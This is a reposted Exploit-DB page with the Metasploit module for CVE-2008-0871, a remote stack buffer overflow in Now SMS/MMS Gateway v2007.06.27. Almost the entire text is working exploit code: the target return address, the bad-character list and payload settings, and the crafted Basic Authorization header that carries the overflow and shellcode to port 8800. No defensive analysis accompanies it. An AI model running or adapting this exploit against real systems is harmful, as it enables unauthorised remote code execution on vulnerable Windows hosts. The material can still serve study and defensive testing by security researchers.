Now SMS/Mms Gateway – Remote Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-05-09

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16779/

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##

# $Id: nowsms.rb 9262 2010-05-09 17:45:00Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Now SMS/MMS Gateway Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.

By sending a specially crafted GET request, an attacker may be able to execute

arbitrary code.

},

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2008-0871' ],

[ 'OSVDB', '42953'],

[ 'BID', '27896' ],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},

'Privileged' => true,

'Payload'=>

{

'Space'=> 0x94,

'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",

'StackAdjustment' => -3500,

},

'Platform' => 'win',

'Targets'=>

[

[ 'Now SMS/MMS Gateway v2007.06.27', { 'Ret' => 0x10002f9d } ], # CALL ESP : SMSHMAC.DLL

],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Feb 19 2008'))

register_options( [ Opt::RPORT(8800) ], self.class )

end

def exploit

c = connect

data = Rex::Text.encode_base64(rand_text_english(129) + [target.ret].pack('V') + payload.encoded)

print_status("Trying target #{target.name}...")

res = send_request_raw({

'uri'=> '/',

'method' => 'GET',

'headers'=>

{

'Authorization' => "Basic #{Rex::Text.encode_base64(data)}"

}

}, 5)

handler

end